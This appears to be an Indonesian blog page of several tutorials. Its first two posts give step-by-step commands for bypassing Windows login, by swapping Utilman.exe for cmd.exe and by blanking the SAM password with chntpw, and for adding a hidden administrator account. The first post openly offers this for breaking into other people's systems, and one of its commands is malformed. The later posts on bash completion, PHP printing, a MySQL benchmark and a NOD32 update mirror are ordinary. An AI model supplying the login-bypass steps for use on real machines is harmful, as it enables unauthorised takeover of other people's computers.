Reset Password Windows Vista/7 Menggunakan Linux

Pada tutorial kali ini kita dihadapkan dengan permasalahan lupa password Windows atau iseng² berhadiah, ingin menjebol sistem orang lain. Yang perlu disiapkan adalah Linux Backtrack (atau yang lain, yang pasti sudah bisa read/write partisi Windows). Disini kita memanfaatkan fitur Windows yang ada pada halaman login, yaitu Utilman (Utility Manager), yang dapat anda akses dengan cara menekan tombol Win+U. Maka akan muncul Utilman. Fitur inilah yang nantinya akan kita exploit/ganti menjadi command prompt. beginilah ceritanya (kayak dongeng aja.. Kekekeke…).

    • Boot Komputer target menggunakan Backtrack, masuk ke mode GUI (dapat juga dengan mode text, yang penting anda tahu letak partisi Windows target)
    • Masuk ke direktori C:\Windows\System32\ (pada komputer saya terdapat di/mnt/hda1/WINDOWS/System32) dengan mengetik :
cd /mnt/hda/WINDOWS/System32 # Masuk ke direktori System Windows
mv Utilman.exe mv Utilman_old.exe # Rename Utility Manager
cp cmd.exe Utilman.exe # Copy file Command Prompt menjadi Utility Manager
    • Setelah selesai, booting komputer ke Windows.
    • Setelah masuk Windows (halaman login), Pencet tombol Win+U, maka akan muncul halaman Command Prompt.
    • Perhatikan, Command Prompt yang anda dapatkan adalah sebagai administrator. Dari sinilah anda dapat melakukan segalanya.
    • Untuk menambahkan user dengan hak akses setara admin lakukan langkah berikut :
C:\>net user nama_user password /add
    • Contoh : saya akan menambahkan user f1dz dengan password majezty :
C:\>net user f1dz majezty /add
    • Untuk mengubah  menjadi group administrator, ketik :
C:\>net localgroup administrators f1dz /add
    • Sekarang kita sudah mempunyai account dengan hak akses setara admin, silahkan login menggunakan user tersebut.
    • Jika untuk me-reset password administrator, ketik :
C:\>net user administrator *
  • Cara tersebut juga dapat digunakan untuk me-reset password user lain, ganti “administrator” dengan user yang akan diganti passwordnya.

Semoga bermanfaat..
Terima kasih kepada offensive-security team atas inspirasinya.

Advertisements

Reset Password Windows Menggunakan chntpw di Backtrack

Ada sangat banyak cara untuk me-reset password Windows, salah satunya adalah langkah berikut. Langkah tersebut untuk mereset atau menghilangkan password pada WIndows XP. Langsung saja, Boot Backtrack anda (Bisa pake Live USB atau Live CD). Masuk ke konsole. Kita akan menggunakan tool chntpw yang terletak di /pentest/password/chntpw. Sedangkan letak password Windows di [mount point]/WINDOWS/system32/config/SAM.
Pada contoh dibawah kita akan mereset password Administrator dan “Mount point”dimisalkan terletak “/mnt/sda1”.
Lanjutkan…! Setelah buka konsole, ketik :

cd /pentest/password/
chntpw -u Administrator /mnt/sda1/Windows/System32/config/SAM

<Output dari perintah tersebut adalah>

—- User Edit Menu:
1 – Clear (blank) user password
2 – Edit (set new) user password (careful with this on XP or Vista)
3 – Promote user (make user an administrator)
4 – Unlock and enable user account [probably locked now]
q – Quit editing user, back to user select

Select: [q] > [Ketik 1]

Password cleared!

Hives that have changed:
# Name
0 </mnt/sda1/Windows/System32/config/SAM>
Write hive files? (y/n) [n] : [Ketik y]
0 </mnt/sda1/Windows/System32/config/SAM> – OK
Selesai……..

Meng-aktifkan Autocomplete pada bash/shell/terminal di Linux (Ubuntu)

Ubuntu Terminal

Ubuntu Terminal

Fitur Autocomplete memang sangat mempermudah kita dalam menuliskan baris kode/perintah. Karena tidak mungkin kita menghafalkan semua perintah di linux atau repot jika harus membaca manualnya. Tapi dengan bantuan autocomplete kita dapat dengan mudah menggunakan perintah tersebut.

Misal perintah apt-get. Setelah kita mengetikkan apt-get, perintah apalagi yang bisa digunakan setelah itu? Kita tinggal menekan tombol tab 2 kali, kemudian akan muncul perintah berikutnya yang bisa digunakan. Pada Ubuntu (user biasa), kalau tidak salah fitur ini sudah otomatis aktif, tapi jika kita menggunakan akses setara root, fitur ini belum aktif.

Untuk mengaktifkan fitur ini, Login sebagai root, buka file /ect/bash.bashrc

Jika anda menggunakan nano, ketik perintah berikut:

nano /etc/bash.bashrc

Uncomment (hilangkan #) baris berikut:

#if [ -f /etc/bash_completion ]; then
# . /etc/bash_completion
#fi

Sehingga manjadi:

if [ -f /etc/bash_completion ]; then
 . /etc/bash_completion
fi

Simpan file (ctrl+o pada nano), kemudian tutup terminal dan cobalah 😀

PHP Direct Printing Printer Dot Matrix (LX-300)

Tidak diragukan lagi, direct printing masih menjadi andalan untuk urusan cetak-mencetak, terutama untuk program/aplikasi POS. Karena aplikasi ini membutuhkan kecepatan dalam melakukan cetak dokumen/struk.

Barusan ngoprek dan eksperimen dengan VB.Net untuk cetak langsung ke printer dot matrix tanpa spooling. Dan ternyata caranya hanya dengan meng-copy file temporary ke path printer (yang sudah disharing).

Bermodalkan teknik tersebut, saya coba terapkan di PHP dengan teknik yang sama dan berhasil.

Mudah-mudahan bermanfaat bagi teman-teman disini.


<?php
$tmpdir = sys_get_temp_dir();   # ambil direktori temporary untuk simpan file.
$file =  tempnam($tmpdir, 'ctk');  # nama file temporary yang akan dicetak
$handle = fopen($file, 'w');
$condensed = Chr(27) . Chr(33) . Chr(4);
$bold1 = Chr(27) . Chr(69);
$bold0 = Chr(27) . Chr(70);
$initialized = chr(27).chr(64);
$condensed1 = chr(15);
$condensed0 = chr(18);
$Data  = $initialized;
$Data .= $condensed1;
$Data .= "==========================\n";
$Data .= "|     ".$bold1."OFIDZ MAJEZTY".$bold0."      |\n";
$Data .= "==========================\n";
$Data .= "Ofidz Majezty is here\n";
$Data .= "We Love PHP Indonesia\n";
$Data .= "We Love PHP Indonesia\n";
$Data .= "We Love PHP Indonesia\n";
$Data .= "We Love PHP Indonesia\n";
$Data .= "We Love PHP Indonesia\n";
$Data .= "--------------------------\n";
fwrite($handle, $Data);
fclose($handle);
copy($file, "//localhost/xprinter");  # Lakukan cetak
unlink($file);
?>

Jangan lupa Printer yang akan digunakan untuk men-cetak di sharing terlebih dahulu. Ganti ‘localhost’ menjadi IP komputer dimana printer yang tadi disharing berada. “xprinter” adalah nama sharing printer.
Saya belum mencoba di jaringan LAN, baru dioba di localhost.
Untuk Escape Code akan saya posting dikemudian hari.

Jika ada masalah dengan printer pastikan printer bisa diakses dari komputer server apache/php, lakukan-langkah berikut ini:

1. Pada komputer server apache/php buka run, ketik \\ip_komputer_printer.
2. Duoble klik pada icon nama printer yg dimaksud. (nama ini yg nantinya digunakan untuk koneksi di php).
3. Jika driver printer blm terinstal maka windows akan otomatis melakukan instalasi.
4. Jika driver sudah terinstal maka akan muncul window status print.
5. Lakukan test print ke printer tersebut (anda pasti tahu caranya).
6. Jika sudah berhasil melakukan test print dari komputer server, maka printer sudah siap untuk digunakan.

UPDATES

Berhubung banyak permintaan mengenai ESC Code, sekarang saya upload kode nya. Semoga bermanfaat.

https://www.dropbox.com/s/g2vpooaubty1ckp/escode.txt?dl=0

Silahkan buka menggunakan notepad, jika hasilnya berantakan, ganti font pada notepad menjadi TERMINAL.

PHP MySQL Compare/Benchmark, PDO vs Mysql vs Mysqli OOP vs Mysqli Procedural

Saat ini saya akan develop aplikasi yang mature dan dapat diandalkan, sehingga saya mencari tahu cara yang terbaik untuk melakukan koneksi dan query terhadap Database Mysql. Saat ini yang tersedia (bawaan) dari PHP ada 3, yaitu koneksi mysql biasa (biasa disebut Raw Mysql, contoh mysql_connect()), PDO (PHP Data Object) dan Mysqli (OOP dan Procedural). Disamping ketiganya masih banyak lagi aplikasi 3rd party yang dapat digunakan untuk melakukan koneksi ke database Mysql seperti Doctrine (ORM) dkk.

Setelah mencari tahu di internet, kebanyakan dari hasil Benchmark Raw Mysql yang menang. Sehingga saya juga tertarik untuk melakukan perbandingan mana yang paling cepat. Cara yang saya gunakan disini adalah, PHP melakukan koneksi dan query menggunakan looping tanpa menampilkan data hasil query ke halaman website. Mungkin kedepannya saya juga akan melakukan komparasi dengan cara lain, yaitu berapa waktu yg dibutuhkan untuk melakukan query pada data yang besar.

Oke langsung saja saya jabarkan scriptnya disini.

Listing Code mysql_compare.php

<?
/* File name : mysql_compare.php
 * Author : ofidz
 * Email : offiedz@majezty
 * Web : mocopat.wordpress.com
 */
?>
<html>
 <style>
 input {
 font-family: courier;
 text-align: right;
 }
 </style>
 <body style="font-family: courier;">

<table>
 <tr><td align="right">Running time : </td><td><input id="running" value='0' size="10"></td><td align="center">detik</td><td align="center">qry/dtk</td></tr>
 <tr style="background-color: bisque;"><td align="right">PDO Process : </td><td><input id="pdo" value='0' size="10"></td><td><input id="pdt"></td><td><input id="avgpdo" value='0' size="7"></td></tr>
 <tr style="background-color:lightcyan ;"><td align="right">Raw Process : </td><td><input id="raw" value='0' size="10"></td><td><input id="rdt"></td><td><input id="avgraw" value='0' size="7"></td></tr>
 <tr style='background-color: lightgreen;'><td align="right">Mysqli OOP Process : </td><td><input id="sqli" value='0' size="10"></td><td><input id="sqlit"></td><td><input id="avgsqli" value='0' size="7"></td></tr>
 <tr style='background-color: lavender;'><td align="right">Mysqli Proc Process : </td><td><input id="sqlip" value='0' size="10"></td><td><input id="sqlipt"></td><td><input id="avgsqlip" value='0' size="7"></td></tr>
 </table>
 <script>
 var milisec = 0
 var seconds = 0
 document.getElementById('running').value='0'
 function display(){
 if (milisec >= 9){
 milisec = 0
 seconds += 1
 }
 else
 milisec += 1
 document.getElementById('running').value=seconds+"."+milisec+" detik"
 t = setTimeout("display()",100)
 }
 display()
 </script>
 <?
 set_time_limit(3600);
 $data = 1000;
 $server = "localhost";
 $user = "root";
 $pass = "";
 $db = "nwind";
 $sql = "SELECT * FROM order_details ";
 # Function

function xtime($start) {
 return microtime(true) - $start;
 }

# Begin Test PDO

function pdo_test($server, $db, $user, $pass, $data, $sql) {

$start = microtime(true);
 for ($i = 1; $i <= $data; ++$i) {

try {
 $conn = new PDO("mysql:host=$server;dbname=$db", $user, $pass);
 } catch (PDOException $e) {
 echo 'Connection failed: ' . $e->getMessage() . "\n";
 }

$conn->query($sql);
 echo "<script>document.getElementById('pdo').value='$i/$data';</script>";
 echo "<script>document.getElementById('pdt').value='" . xtime($start) . "';</script>";
 echo "<script>document.getElementById('avgpdo').value='" . number_format($i / xtime($start), 2, ',', '') . "';</script>";
 $conn = null;
 }
 echo "<tr style='background: bisque;'><td align='right'>PDO time : </td><td>" . xtime($start) . "</td></tr>";
 echo "<br/>";
 }

# Begin mysql_* Test

function mysql_test($server, $db, $user, $pass, $data, $sql) {
 $start = microtime(true);

for ($i = 1; $i <= $data; ++$i) {
 $conn = mysql_connect($server, $user, $pass);
 mysql_select_db($db);
 mysql_query($sql);
 echo "<script>document.getElementById('raw').value='$i/$data';</script>";
 echo "<script>document.getElementById('rdt').value='" . xtime($start) . "';</script>";
 echo "<script>document.getElementById('avgraw').value='" . number_format($i / xtime($start), 2, ',', '') . "';</script>";
 mysql_close($conn);
 }

echo "<tr style='background-color:lightcyan ;'><td align='right'>Raw time : </td><td>" . xtime($start) . "</td></tr>";
 }

# Mysqli OOP test

function mysqli_oop_test($server, $db, $user, $pass, $data, $sql) {
 $start = microtime(true);
 for ($i = 1; $i <= $data; ++$i) {
 $mysqli = new mysqli($server, $user, $pass, $db);
 $mysqli->query($sql);
 echo "<script>document.getElementById('sqli').value='$i/$data';</script>";
 echo "<script>document.getElementById('sqlit').value='" . xtime($start) . "';</script>";
 echo "<script>document.getElementById('avgsqli').value='" . number_format($i / xtime($start), 2, ',', '') . "';</script>";
 $mysqli->close();
 }
 echo "<tr style='background: lightgreen;'><td align='right'>Mysqli OOP time : </td><td>" . xtime($start) . "</td></tr>";
 }

# Mysqli Procedural Test

function mysqli_proc_test($server, $db, $user, $pass, $data, $sql) {
 $start = microtime(true);
 for ($i = 1; $i <= $data; ++$i) {
 $mysqli = mysqli_connect($server, $user, $pass, $db);
 mysqli_query($mysqli, $sql);
 echo "<script>document.getElementById('sqlip').value='$i/$data';</script>";
 echo "<script>document.getElementById('sqlipt').value='" . xtime($start) . "';</script>";
 echo "<script>document.getElementById('avgsqlip').value='" . number_format($i / xtime($start), 2, ',', '') . "';</script>";
 mysqli_close($mysqli);
 }
 echo "<tr style='background: lavender;'><td align='right'>Mysqli Proc time : </td><td>" . xtime($start) . "</td></tr>";
 }

 # Jumlah baris data
 function jml_row($server,$user,$pass,$db,$sql){
 $conn = mysql_connect($server,$user,$pass);
 mysql_selectdb($db);
 $xSql = mysql_query($sql);
 return mysql_num_rows($xSql);
 mysql_close($conn);
 }
 ?>
 <table>
 <tr><td align='right'><b>Result :</b></td><td><?= $data . " x ". jml_row($server, $user, $pass, $db, $sql)." row(s) execution"; ?></td></tr>
 <?
 pdo_test($server, $db, $user, $pass, $data, $sql);
 mysql_test($server, $db, $user, $pass, $data, $sql);
 mysqli_oop_test($server, $db, $user, $pass, $data, $sql);
 mysqli_proc_test($server, $db, $user, $pass, $data, $sql);
 ?>
 </table>
 <script>
 clearTimeout(t);
 </script>
 </body>
</html>

Pada script diatas, masing-masing driver menggunakan function, supaya kita lebih mudah dalam menempatkan driver yang lebih dulu akan dijalankan. Jumlah query yang akan dijalankan juga dapat disetting dengan mengganti nilai pada variabel $data. Berikut contoh hasil benchmark yang saya lakukan.

Software dan Hardware yang saya gunakan pada saat benchmark.

  • OS : Windows 7
  • Laptop Acer 4752G
  • Prosesor : Intel Core i3-2330
  • RAM : Kingston 2GB
  • Hardisk : Seagate 500GB
  • VGA NVIDIA GeForce GT 520M 1GB
  • Browser : Chrome 17
  • MySQL :  5.0.8
  • PHP : 5.3.8

Jika anda pernah melakukan benchmark juga, silahkan share disini. Saya juga minta pendapat anda mengenai script yang saya pakai untuk benchmark, mungkin kurang fair atau bagaimana, silahkan diluruskan jika kurang fair. Terima kasih.

Membuat Mirror Update ESET NOD32 Versi 4 di Linux (Shell/Bash)

Kedengarannya agak nyeleneh memang. Membuat mirror update Antivirus di Linux, tapi yang menggunakan update tersebut Komputer Windows (Walaupun ada juga ESET untuk Linux). Tapi memang begitulah, kadang kita membutuhkan bantuan Linux untuk membantu Windows. Pada tutorial kali ini saya akan memasang script di Webhosting. Sehingga nantinya bisa diakses oleh siapa saja. Sejauh ini saya baru menemukan 3 buah bahasa pemrograman untuk membuat update mirror ESET NOD32, yaitu : shell/bash, PHP dan Ruby. Sebenarnya kita bisa menggunakan Bahasa pemrograman apa saja untuk membuat mirror ini. Ketiga script bahasa pemrograman tersebut nantinya akan saya bahas semua nya, tapi untuk pemanasan, saya akan membahas yang menggunakan Shell terlebih dahulu.

Adapun Kelebihan dan kekurangan script ini dibandingkan dengan script PHP & Ruby adalah.

Kelebihan :

  • Langsung bisa dijalankan, hanya tinggal setting Crontab.
  • Ringan dan lebih cepat dibanding PHP dan Ruby (menurut saya ini lho), Karena trik download menggunakan WGET.
  • Hampir bisa dijalankan di semua Webhosting yang menggunakan OS Linux.
Kekurangan :
  • Belum bisa terintegrasi dengan database. (Mudah-mudahan di versi berikutnya bisa terintegrasi dengan Database, supaya mudah dalam perubahan Username dan Password).
  • Belum support notifikasi lewat Email & SMS jika update berhasil atau gagal. (Mudah-mudahan di versi berikutnya fitur ini sudah didukung, karena yang versi PHP sudah saya tambahkan kedua fitur ini).
  • Hanya jalan di Linux (Lha wong judulnya juga bikin di Linux :D). Tapi versi PHP dan Ruby bisa jalan di Windows.
  • Belum bisa cek Expired Date Username. (di versi PHP sudah saya tambahkan fitur ini).
Okey, sekarang hal-hal yang perlu disiapkan atau dibutuhkan.
  • Langganan Webhosting dengan Bandwidth Unlimited dan OS Linux (tentunya) atau bisa di coba di PC Linux.
  • Jika dipasang di Webhosting, Free Space di Webhosting minimal 200MB (Karena kita akan Download semua module update dan semua versi termasuk Business Edition 32 & 64 bit, Smart Security 32 & 64 bit dan support bahasa).
  • Sedikit pengetahuan tentang programming, Linux dan cPanel.
  • Jika menggunakan Webhosting, sebaiknya menggunakan cPanel.
  • Download aplikasi unrar. Nanti akan digunakan untuk melakukan ekstrak file update.ver.
Kita mulai dengan download scriptnya di bagian bawah dan jangan lupa download juga aplikasi unrar, kemudian ekstrak kedu file tersebut. Langkah demi langkah yang saya lakukan untuk memasang script adalah sebagai berikut :
  • Buat direktori baru di /home/nama_user. Beri nama direktori tersebut dengan nama “bin”, sehingga nanti akan muncul direktori
/home/nama_user/bin.
  • Upload file nodupdate.sh dan unrar ke direktori /home/nama_user/bin.
  • Lakukan chmod/permission kepada kedua file tersebut menjadi 755 lewat file manager.
  • Buat direktori baru lagi di /home/nama_user/public_html. Beri nama direktori tersebut dengan nama “nod_upd”, sehingga akan ada direktori baru, yaitu
/home/nama_user/public_html/nod_upd.
  • Buatlah Crontab/Cron Job sesuai dengan kebutuhan anda. (Saya menggunakan interval eksekusi setiap 30 menit). Pada saat debugging, mungkin pada awalnya kita bisa mengeset sesuai keinginan kita.

Cron Job

  • Cek apakah file update sudah terbentuk di :
/home/nama_user/public_html/download

  • Jika masih gagal, cek Log file. Disitu ada keterangan kenapa gagal. Log file ini saya taruh di
/home/nama_user/tmp/nodsh.log.

Jangan lupa ganti yuor_name atau nama_user dengan nama yang digunakan untuk login di cPanel, dengan Hasil dari tutorial ini bisa anda lihat pada website http://smart-ics.com/nod_upd. Anda bisa mencoba untuk melakukan update ESET anda ke link tersebut (mumpung masih saya open :D).

File-file yang di butuhkan (download) :
   – Bug fixed, Penambahan parameter (-y) pada saat ekstrak.
Script diatas saya peroleh dari forum http://ashus.ashus.net/viewtopic.php?f=16&t=68 dengan beberapa perubahan sesuai dengan kebutuhan saya. Anda juga diperkenankan untuk mengubahnya sendiri sesuai dengan keinginan anda.
Terima kasih banyak saya ucapkan kepada saudara Ashus yang telah memberi banyak inspirasi 😀
Advertisements
%d bloggers like this: